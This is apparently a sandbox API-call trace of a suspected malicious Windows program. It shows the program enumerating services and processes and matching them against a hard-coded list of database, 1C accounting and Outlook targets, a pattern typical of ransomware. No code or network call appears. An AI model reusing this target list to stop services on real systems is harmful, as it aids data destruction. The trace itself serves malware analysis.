[0165.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.667] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.667] lstrlenW (lpString="PlugPlay") returned 8 [0165.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.667] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.667] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.667] lstrlenW (lpString="Power") returned 5 [0165.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.668] lstrlenW (lpString="ProfSvc") returned 7 [0165.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.668] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.668] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.668] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.668] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.668] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.668] lstrlenW (lpString="RpcSs") returned 5 [0165.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.668] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.668] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.668] lstrlenW (lpString="SamSs") returned 5 [0165.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.668] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.668] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.668] lstrlenW (lpString="Schedule") returned 8 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.669] lstrlenW (lpString="SENS") returned 4 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.669] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.669] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.669] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.669] lstrlenW (lpString="Spooler") returned 7 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.669] lstrlenW (lpString="SysMain") returned 7 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.669] lstrlenW (lpString="Themes") returned 6 [0165.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0165.670] lstrlenW (lpString="TrkWks") returned 6 [0165.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0165.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0165.670] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0165.670] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0165.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0165.670] lstrlenW (lpString="UxSms") returned 5 [0165.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0165.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0165.670] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0165.670] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0165.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0165.670] lstrlenW (lpString="WdiServiceHost") returned 14 [0165.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0165.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0165.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0165.670] lstrlenW (lpString="WdiSystemHost") returned 13 [0165.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.670] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0165.670] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0165.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0165.670] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0165.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0165.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0165.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0165.671] lstrlenW (lpString="Winmgmt") returned 7 [0165.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0165.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0165.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0165.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0165.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0165.671] lstrlenW (lpString="WPDBusEnum") returned 10 [0165.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.671] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0165.671] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0165.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0165.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0165.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0165.673] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.673] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.673] lstrlenW (lpString="System") returned 6 [0165.673] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0165.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0165.673] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0165.673] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0165.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0165.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0165.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0165.674] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.674] lstrlenW (lpString="smss.exe") returned 8 [0165.674] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0165.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0165.674] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.675] lstrlenW (lpString="csrss.exe") returned 9 [0165.675] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.675] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.675] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0165.675] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.675] lstrlenW (lpString="wininit.exe") returned 11 [0165.675] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0165.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0165.675] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.676] lstrlenW (lpString="csrss.exe") returned 9 [0165.676] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.676] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.676] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.676] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.676] lstrlenW (lpString="winlogon.exe") returned 12 [0165.676] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.677] lstrlenW (lpString="services.exe") returned 12 [0165.677] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.677] lstrlenW (lpString="lsass.exe") returned 9 [0165.677] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0165.677] lstrlenW (lpString="lsm.exe") returned 7 [0165.677] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.678] lstrlenW (lpString="svchost.exe") returned 11 [0165.678] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.678] lstrlenW (lpString="svchost.exe") returned 11 [0165.678] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.678] lstrlenW (lpString="svchost.exe") returned 11 [0165.678] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.679] lstrlenW (lpString="svchost.exe") returned 11 [0165.679] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.679] lstrlenW (lpString="svchost.exe") returned 11 [0165.679] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.679] lstrlenW (lpString="audiodg.exe") returned 11 [0165.680] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.680] lstrlenW (lpString="svchost.exe") returned 11 [0165.680] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.680] lstrlenW (lpString="explorer.exe") returned 12 [0165.680] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.681] lstrlenW (lpString="dwm.exe") returned 7 [0165.681] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.681] lstrlenW (lpString="svchost.exe") returned 11 [0165.681] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.681] lstrlenW (lpString="n.exe") returned 5 [0165.681] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.682] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.682] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.682] lstrlenW (lpString="svchost.exe") returned 11 [0165.682] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.682] lstrlenW (lpString="taskhost.exe") returned 12 [0165.682] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0165.683] lstrlenW (lpString="reader_sl.exe") returned 13 [0165.683] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.683] lstrlenW (lpString="n.exe") returned 5 [0165.683] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0165.683] lstrlenW (lpString="n.exe") returned 5 [0165.683] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0165.684] CloseHandle (hObject=0x2c4) returned 1 [0165.684] Sleep (dwMilliseconds=0x1f4) [0166.274] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f96e0 [0166.274] EnumServicesStatusExW (in: hSCManager=0x42f96e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0166.274] GetLastError () returned 0xea [0166.274] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x42de628 [0166.275] EnumServicesStatusExW (in: hSCManager=0x42f96e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42de628, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42de628, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0166.276] CloseServiceHandle (hSCObject=0x42f96e0) returned 1 [0166.276] lstrlenW (lpString="Appinfo") returned 7 [0166.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.276] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.276] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.276] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.276] lstrlenW (lpString="AudioSrv") returned 8 [0166.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0166.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0166.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0166.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0166.277] lstrlenW (lpString="BFE") returned 3 [0166.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.277] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.277] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.277] lstrlenW (lpString="CryptSvc") returned 8 [0166.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.277] lstrlenW (lpString="CscService") returned 10 [0166.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0166.277] lstrcmpiW (lpString1="sqlwriter", 